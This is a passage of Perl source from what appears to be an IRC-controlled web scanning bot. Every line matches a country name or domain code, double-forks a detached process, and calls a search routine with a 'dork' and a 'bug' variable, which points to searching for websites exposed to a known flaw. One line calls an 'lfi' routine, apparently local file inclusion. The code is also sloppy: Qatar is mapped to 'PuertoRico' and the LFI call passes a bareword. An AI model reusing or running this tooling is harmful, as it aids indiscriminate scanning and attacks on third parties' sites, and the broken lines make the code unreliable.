if ($engine =~ /croatia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Croatia"); } exit; } }
if ($engine =~ /cuba/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Cuba"); } exit; } }
if ($engine =~ /cyprus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Cyprus"); } exit; } }
if ($engine =~ /dominican/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Dominican"); } exit; } }
if ($engine =~ /equador/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Equador"); } exit; } }
if ($engine =~ /egypt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Egypt"); } exit; } }
if ($engine =~ /estonia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Estonia"); } exit; } }
if ($engine =~ /finland/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Finland"); } exit; } }
if ($engine =~ /georgia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Georgia"); } exit; } }
if ($engine =~ /ghana/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Ghana"); } exit; } }
if ($engine =~ /grenada/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Grenada"); } exit; } }
if ($engine =~ /honduras/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Honduras"); } exit; } }
if ($engine =~ /hongkong/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Hongkong"); } exit; } }
if ($engine =~ /iceland/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Iceland"); } exit; } }
if ($engine =~ /ireland/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Ireland"); } exit; } }
if ($engine =~ /kenya/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Kenya"); } exit; } }
if ($engine =~ /kuwait/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Kuwait"); } exit; } }
if ($engine =~ /laos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Laos"); } exit; } }
if ($engine =~ /latvia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Latvia"); } exit; } }
if ($engine =~ /liberia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Liberia"); } exit; } }
if ($engine =~ /libyan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Libyan"); } exit; } }
if ($engine =~ /lithuania/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Lithuania"); } exit; } }
if ($engine =~ /macedonia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Macedonia"); } exit; } }
if ($engine =~ /malta/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Malta"); } exit; } }
if ($engine =~ /mongolia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Mongolia"); } exit; } }
if ($engine =~ /mozambique/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Mozambique"); } exit; } }
if ($engine =~ /namibia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Namibia"); } exit; } }
if ($engine =~ /nauru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Nauru"); } exit; } }
if ($engine =~ /nepal/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Nepal"); } exit; } }
if ($engine =~ /newzealand/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"NewZealand"); } exit; } }
if ($engine =~ /nigeria/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Nigeria"); } exit; } }
if ($engine =~ /paraguay/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Paraguay"); } exit; } }
if ($engine =~ /peru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Peru"); } exit; } }
if ($engine =~ /portugal/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Portugal"); } exit; } }
if ($engine =~ /puertorico/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"PuertoRico"); } exit; } }
if ($engine =~ /qatar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"PuertoRico"); } exit; } }
if ($engine =~ /saintlucia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"SaintLucia"); } exit; } }
if ($engine =~ /samoa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Samoa"); } exit; } }
if ($engine =~ /saudiarabia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &lfi($chan,$bug,dork,"SaudiArabia"); } exit; } }
if ($engine =~ /senegal/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Senegal"); } exit; } }
if ($engine =~ /slovakia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Slovakia"); } exit; } }
if ($engine =~ /srilanka/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Srilanka"); } exit; } }
if ($engine =~ /swaziland/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Swaziland"); } exit; } }
if ($engine =~ /tajikistan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Tajikistan"); } exit; } }
if ($engine =~ /tanzania/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Tanzania"); } exit; } }
if ($engine =~ /tokelau/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Tokelau"); } exit; } }
if ($engine =~ /tonga/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Tonga"); } exit; } }
if ($engine =~ /tunisia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Tunisia"); } exit; } }
if ($engine =~ /uruguay/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Uruguay"); } exit; } }
if ($engine =~ /uzbekistan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Uzbekistan"); } exit; } }
if ($engine =~ /venezuela/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Venezuela"); } exit; } }
if ($engine =~ /yemen/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Yemen"); } exit; } }
if ($engine =~ /yugoslavia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Yugoslavia"); } exit; } }
if ($engine =~ /zambia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Zambia"); } exit; } }
if ($engine =~ /uganda/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Uganda"); } exit; } }
if ($engine =~ /trinidad/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Trinidad"); } exit; } }
if ($engine =~ /zimbabwe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"Zimbabwe"); } exit; } }
if ($engine =~ /by/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"by"); } exit; } }
if ($engine =~ /ae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ae"); } exit; } }
if ($engine =~ /ar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ar"); } exit; } }
if ($engine =~ /at/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"at"); } exit; } }
if ($engine =~ /au/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"au"); } exit; } }
if ($engine =~ /br/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"br"); } exit; } }
if ($engine =~ /ca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ca"); } exit; } }
if ($engine =~ /cl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"cl"); } exit; } }
if ($engine =~ /cn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"cn"); } exit; } }
if ($engine =~ /cz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"cz"); } exit; } }
if ($engine =~ /de/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"de"); } exit; } }
if ($engine =~ /dk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"dk"); } exit; } }
if ($engine =~ /es/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"es"); } exit; } }
if ($engine =~ /eu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"eu"); } exit; } }
if ($engine =~ /fr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"fr"); } exit; } }
if ($engine =~ /hu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"hu"); } exit; } }
if ($engine =~ /id/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"id"); } exit; } }
if ($engine =~ /il/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"il"); } exit; } }
if ($engine =~ /in/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"in"); } exit; } }
if ($engine =~ /it/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"it"); } exit; } }
if ($engine =~ /jp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"jp"); } exit; } }
if ($engine =~ /kr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"kr"); } exit; } }
if ($engine =~ /mx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"mx"); } exit; } }
if ($engine =~ /my/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"my"); } exit; } }
if ($engine =~ /nl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"nl"); } exit; } }
if ($engine =~ /ph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ph"); } exit; } }
if ($engine =~ /pl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"pl"); } exit; } }
if ($engine =~ /ro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ro"); } exit; } }
if ($engine =~ /ru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ru"); } exit; } }
if ($engine =~ /th/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"th"); } exit; } }
if ($engine =~ /ua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ua"); } exit; } }
if ($engine =~ /uk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"uk"); } exit; } }
if ($engine =~ /us/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"us"); } exit; } }
if ($engine =~ /si/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"si"); } exit; } }
if ($engine =~ /be/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"be"); } exit; } }
if ($engine =~ /tv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"tv"); } exit; } }
if ($engine =~ /cc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"cc"); } exit; } }
if ($engine =~ /as/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"as"); } exit; } }
if ($engine =~ /ai/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ai"); } exit; } }
if ($engine =~ /ag/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ag"); } exit; } }
if ($engine =~ /az/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"az"); } exit; } }
if ($engine =~ /bh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"bh"); } exit; } }
if ($engine =~ /bd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"bd"); } exit; } }
if ($engine =~ /bz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"bz"); } exit; } }
if ($engine =~ /bo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"bo"); } exit; } }
if ($engine =~ /ba/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ba"); } exit; } }
if ($engine =~ /vg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"vg"); } exit; } }
if ($engine =~ /bg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"bg"); } exit; } }
if ($engine =~ /bi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"bi"); } exit; } }
if ($engine =~ /co/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"co"); } exit; } }
if ($engine =~ /cd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"cd"); } exit; } }
if ($engine =~ /cg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"cg"); } exit; } }
if ($engine =~ /ck/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ck"); } exit; } }
if ($engine =~ /cr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"cr"); } exit; } }
if ($engine =~ /hr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"hr"); } exit; } }
if ($engine =~ /cu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"cu"); } exit; } }
if ($engine =~ /ci/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ci"); } exit; } }
if ($engine =~ /dj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"dj"); } exit; } }
if ($engine =~ /dm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"dm"); } exit; } }
if ($engine =~ /do/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"do"); } exit; } }
if ($engine =~ /ec/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ec"); } exit; } }
if ($engine =~ /eg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"eg"); } exit; } }
if ($engine =~ /sv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"sv"); } exit; } }
if ($engine =~ /ee/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ee"); } exit; } }
if ($engine =~ /et/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"et"); } exit; } }
if ($engine =~ /fj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"fj"); } exit; } }
if ($engine =~ /fi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"fi"); } exit; } }
if ($engine =~ /gm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"gm"); } exit; } }
if ($engine =~ /gi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"gi"); } exit; } }
if ($engine =~ /gr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"gr"); } exit; } }
if ($engine =~ /gl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"gl"); } exit; } }
if ($engine =~ /gt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"gt"); } exit; } }
if ($engine =~ /gg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"gg"); } exit; } }
if ($engine =~ /ht/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ht"); } exit; } }
if ($engine =~ /hn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"hn"); } exit; } }
if ($engine =~ /hk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"hk"); } exit; } }
if ($engine =~ /is/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"is"); } exit; } }
if ($engine =~ /ie/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ie"); } exit; } }
if ($engine =~ /im/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"im"); } exit; } }
if ($engine =~ /je/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"je"); } exit; } }
if ($engine =~ /jo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"jo"); } exit; } }
if ($engine =~ /kz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"kz"); } exit; } }
if ($engine =~ /ke/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ke"); } exit; } }
if ($engine =~ /ir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ir"); } exit; } }
if ($engine =~ /vn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"vn"); } exit; } }
if ($engine =~ /kg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"kg"); } exit; } }
if ($engine =~ /lv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"lv"); } exit; } }
if ($engine =~ /ls/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ls"); } exit; } }
if ($engine =~ /ly/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ly"); } exit; } }
if ($engine =~ /li/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"li"); } exit; } }
if ($engine =~ /lt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"lt"); } exit; } }
if ($engine =~ /lu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"lu"); } exit; } }
if ($engine =~ /mw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"mw"); } exit; } }
if ($engine =~ /mt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"mt"); } exit; } }
if ($engine =~ /mu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"mu"); } exit; } }
if ($engine =~ /fm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"fm"); } exit; } }
if ($engine =~ /mn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"mn"); } exit; } }
if ($engine =~ /ms/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ms"); } exit; } }
if ($engine =~ /ma/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ma"); } exit; } }
if ($engine =~ /na/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"na"); } exit; } }
if ($engine =~ /np/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"np"); } exit; } }
if ($engine =~ /nz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"nz"); } exit; } }
if ($engine =~ /ni/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"ni"); } exit; } }
if ($engine =~ /nf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"nf"); } exit; } }
if ($engine =~ /no/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"no"); } exit; } }
if ($engine =~ /om/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"om"); } exit; } }
if ($engine =~ /pk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"pk"); } exit; } }
if ($engine =~ /pa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"pa"); } exit; } }
if ($engine =~ /py/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"py"); } exit; } }
if ($engine =~ /pe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"pe"); } exit; } }
if ($engine =~ /pn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"pn"); } exit; } }
if ($engine =~ /pt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"pt"); } exit; } }
if ($engine =~ /pr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"pr"); } exit; } }
if ($engine =~ /qa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"qa"); } exit; } }
if ($engine =~ /rw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"rw"); } exit; } }
if ($engine =~ /sh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"sh"); } exit; } }
if ($engine =~ /sm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"sm"); } exit; } }
if ($engine =~ /sa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"sa"); } exit; } }
if ($engine =~ /sn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"sn"); } exit; } }
if ($engine =~ /sc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"sc"); } exit; } }
if ($engine =~ /sg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"sg"); } exit; } }
if ($engine =~ /sk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"sk"); } exit; } }
if ($engine =~ /za/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"za"); } exit; } }
if ($engine =~ /lk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"lk"); } exit; } }
if ($engine =~ /vc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"vc"); } exit; } }
if ($engine =~ /se/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &search_engine($chan,$bug,$dork,"se"); } exit; } }
